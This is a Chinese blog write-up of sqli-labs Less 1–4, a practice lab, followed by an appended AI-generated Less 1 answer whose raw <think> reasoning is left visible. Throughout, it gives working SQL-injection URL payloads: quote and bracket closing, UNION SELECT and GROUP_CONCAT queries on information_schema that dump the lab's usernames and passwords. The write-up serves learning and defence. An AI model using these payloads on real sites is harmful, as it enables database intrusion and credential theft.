【sqli-labs】Less1~Less4

本文详细介绍如何利用SQL注入漏洞获取数据库信息。通过实例演示了不同类型的SQL注入攻击方法,包括单引号、整数、带干扰字符串及双引号类型的注入,并展示了如何使用联合查询、GROUP_CONCAT等技术提取敏感数据。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

学习sql注入啦,一下都是我做sqli-labs时的笔记。可能有错误,如果有人发现了欢迎指正~~

 

常用知识点:

1.mysql注释有三种:① #: 注释从#到行尾

                                 ② --空格: 注释到行尾,注意--后必须有空格

                                 ③/**/ :注释/* 到 */的内容

2.查询用户数据库名称

select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMA LIMIT 0,1

3.查询当前数据库表

select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA=(select DATABASE()) limit 0,1

4.查询指定表的所有字段

select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='xxx' LIMIT 0,1

5.联合查询

select id, username, password from users union select 1,2,3

6.将多行结果拼成一行GROUP_CONCAT

select group_concat(user) from table limit 0, 1

用group_concat可把多个结果拼成一行。这样,如果只有一个显示位也可以显示所有信息

7.将多个字段拼成一个字段CONCAT

select concat(username, passwd) from table

 

 

Less-1: 有错误信息,单引号

基础语句:http://127.0.0.1/sqli-labs/Less-1/?id=

1.测试id类型是否为字符串,用单引号'测试

http://127.0.0.1/sqli-labs/Less-1/?id='

提示:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 0,1' at line 1

出现了''',说明id为字符串类型

2.测试查询时有几个字段, 用union,经测试有3段,且2,3段会展示

http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,2,3 -- a
http://127.0.0.1/sqli-labs/Less-1/?id=%27%20union%20select%201,2,3%20--%20a

3.查询数据库中的数据

①查询数据库中的所有表信息

http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,GROUP_CONCAT(TABLE_NAME),3 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=(select DATABASE()) LIMIT 0,1 -- a

结果:Your Login name:emails,referers,uagents,users

说明有四张表

②查看users表中的所有字段

http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1, GROUP_CONCAT(COLUMN_NAME),3 from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users' LIMIT 0,1 -- a

结果:Your Login name:id,username,password

③查询所有的用户名密码

http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1, GROUP_CONCAT(username),GROUP_CONCAT(password) from users LIMIT 0,1 -- a

结果:

Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

疑问:

为什么注释用-- a可以,用#就不可以?

 

Less-2: 错误,整数

①测试id类型

http://127.0.0.1/sqli-labs/Less-2/?id='

结果:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

报错了只有' LIMIT 0,1,说明id是数字型的,没有其他引号包裹

②查询所有用户名和密码,加入了order by 保证显示的是所有内容。中间步骤跟第一题相同,略过。

http://127.0.0.1/sqli-labs/Less-2/?id=3 union select 1, GROUP_CONCAT(username),GROUP_CONCAT(password) from users ORDER BY id LIMIT 0,1 -- a

 

Less-3: 错误,有干扰的字符串

①测试id类型

http://127.0.0.1/sqli-labs/Less-3/?id='

结果:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''') LIMIT 0,1' at line 1

与第一题的不同之处在于id后面还有个括号,可以推断其id的写法是 id = ('3') 这种格式。所以在构造sql时,除了要注意闭合引号,还要注意闭合括号。

②查询所有用户名和密码

http://127.0.0.1/sqli-labs/Less-3/?id=3') union select 1, GROUP_CONCAT(username),GROUP_CONCAT(password) from users ORDER BY id LIMIT 0,1 -- a

 

Less-4:错误,双引号

①测试id类型

http://127.0.0.1/sqli-labs/Less-4/?id='

结果正常输出,继续测试,这里偷懒了,根据名称直接试了双引号

http://127.0.0.1/sqli-labs/Less-4/?id="

结果:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '""") LIMIT 0,1' at line 1

说明id是字符串,且写法为id = ("3")

②获取所有用户名密码,闭合双引号和括号即可

http://127.0.0.1/sqli-labs/Less-4/?id=3") union select 1, GROUP_CONCAT(username),GROUP_CONCAT(password) from users ORDER BY id LIMIT 0,1 -- a

 

<think>好的,我现在需要处理用户关于sqli-labs Less 1的教程或解决方案的请求。首先,我得确认用户提到的sqli-labs是什么。sqli-libs是一个用于练习SQL注入攻击的实验平台,通常被安全研究人员和学习者用来测试和提升他们的技能。Less 1应该是指该平台的第一课,可能涉及基本的SQL注入技术。 接下来,我需要回忆或查找关于sqli-labs第一课的具体内容。通常,第一课可能是一个基于GET请求的字符型注入漏洞。用户可能需要知道如何利用这个漏洞,比如通过闭合引号、注释后续语句,然后使用UNION注入或其他方法获取数据库信息。 然后,我需要确保提供的解决方案步骤正确且详细。例如,确定注入点、测试闭合方式、使用ORDER BY确定列数,然后进行UNION查询获取数据库版本或表信息。同时,需要注意使用正确的语法,比如单引号闭合、注释符--+的使用,以及避免常见错误。 另外,用户可能还需要一些预防措施的建议,比如输入验证、参数化查询等,所以最后要包括防御方法。同时,根据用户之前的指示,生成相关问题,帮助用户进一步学习相关知识。 还要检查是否有站内引用需要添加,但根据用户提供的信息,目前没有具体的引用来源,所以可能需要忽略引用标识或假设某些引用。但根据用户示例,可能需要在某些步骤末尾添加引用标记,比如[^1],但需要确认是否有实际引用来源可用。如果没有的话,可能不需要添加,或者需要用户提供更多资料。 最后,确保回答使用中文,行内公式用$...$,独立公式用$$...$$,但在这个主题中可能用不到数学公式,所以可能可以忽略。但需要保持LaTeX语法正确,如果有变量或代码的话。代码部分需要用代码块包裹,如示例中的Python代码,但这里可能涉及SQL语句,所以需要用SQL的代码块。 总结步骤: 1. 介绍Less 1的基本情况。 2. 详细说明解决方案步骤,包括测试注入点、闭合引号、确定列数、执行UNION注入获取信息。 3. 提供防御建议。 4. 生成相关问题,如其他注入类型、工具使用、预防措施等。 5. 确保格式正确,代码块使用正确语言标记,如SQL。</think>[用户可见层] ### sqli-labs Less 1 解决方案 sqli-labs Less 1 是一个基于GET请求的单引号字符型SQL注入漏洞练习。以下是分步解决方案: #### 1. **确定注入点** 输入参数`id`存在漏洞,尝试添加单引号触发错误: ```sql http://example.com/sqli-labs/Less-1/?id=1' ``` 若返回SQL语法错误(如`You have an error in your SQL syntax`),则确认存在注入。 #### 2. **闭合引号并注释后续语句** 通过闭合单引号并使用注释符`--+`绕过: ```sql http://example.com/sqli-labs/Less-1/?id=1' --+ ``` 此时SQL语句变为: $$SELECT * FROM users WHERE id='1' --+' LIMIT 0,1$$ 注释符`--+`会忽略后续的`LIMIT`语句。 #### 3. **确定列数** 通过`ORDER BY`判断查询结果的列数: ```sql http://example.com/sqli-labs/Less-1/?id=1' ORDER BY 3 --+ ``` 若页面正常返回,说明查询结果有3列;若报错则减少列数重试。 #### 4. **UNION注入获取数据** 利用`UNION SELECT`联合查询获取数据库信息: ```sql http://example.com/sqli-labs/Less-1/?id=-1' UNION SELECT 1,2,3 --+ ``` 页面会显示`2`和`3`的位置可用于回显数据。 **示例:获取数据库版本和当前数据库名** ```sql http://example.com/sqli-labs/Less-1/?id=-1' UNION SELECT 1,version(),database() --+ ``` 回显结果类似: ``` 2: 10.3.32-MariaDB 3: security ``` #### 5. **进一步提取表名和字段名** 从`information_schema`中提取信息: ```sql http://example.com/sqli-labs/Less-1/?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --+ ``` 回显当前数据库的表名(如`emails,users`),再通过类似方法获取字段名。 --- ### 防御建议 1. **使用参数化查询**(如PDO预处理语句)避免拼接SQL[^1]。 2. **对输入进行严格过滤**,例如仅允许数字类型的`id`参数。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值